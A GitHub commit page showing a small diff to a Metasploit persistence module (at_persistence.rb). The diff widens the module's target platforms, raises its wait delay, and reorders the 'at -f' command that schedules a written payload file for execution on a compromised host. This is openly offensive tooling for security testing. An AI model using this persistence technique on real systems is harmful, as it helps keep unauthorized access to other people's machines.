Skip to content

Commit b16e84f

Browse files
committed
Bump default WfsDelay to account for execution at 0s and execution delays
Also, platforms, which I think achieves nothing right now.
1 parent 18c54eb commit b16e84f

File tree

1 file changed

+5
-3
lines changed

1 file changed

+5
-3
lines changed

modules/exploits/multi/local/at_persistence.rb

Lines changed: 5 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -25,7 +25,7 @@ def initialize(info = {})
2525
],
2626
'Targets' => [['Automatic', {} ]],
2727
'DefaultTarget' => 0,
28-
'Platform' => ['unix', 'linux', 'osx'],
28+
'Platform' => %w(unix linux osx bsd solaris openbsd bsdi netbsd freebsd aix hpux irix),
2929
'Arch' => ARCH_CMD,
3030
'Payload' =>
3131
{
@@ -35,7 +35,7 @@ def initialize(info = {})
3535
'RequiredCmd' => 'generic perl ruby python'
3636
}
3737
},
38-
'DefaultOptions' => { 'WfsDelay' => 60 },
38+
'DefaultOptions' => { 'WfsDelay' => 65 },
3939
'DisclosureDate' => "Jan 1 1997" # http://pubs.opengroup.org/onlinepubs/007908799/xcu/at.html
4040
)
4141
)
@@ -77,8 +77,10 @@ def exploit
7777
end
7878

7979
write_file(payload_file, payload.encoded)
80-
cmd_exec("at -f #{payload_file} #{datastore['TIME']}")
8180
register_files_for_cleanup(payload_file) if datastore['CLEANUP']
81+
82+
cmd_exec("at -f #{payload_file} #{datastore['TIME']}")
83+
8284
print_status("Waiting #{datastore['WfsDelay']}sec for execution")
8385
0.upto(datastore['WfsDelay'].to_i) do
8486
Rex.sleep(1)

0 commit comments

Comments
 (0)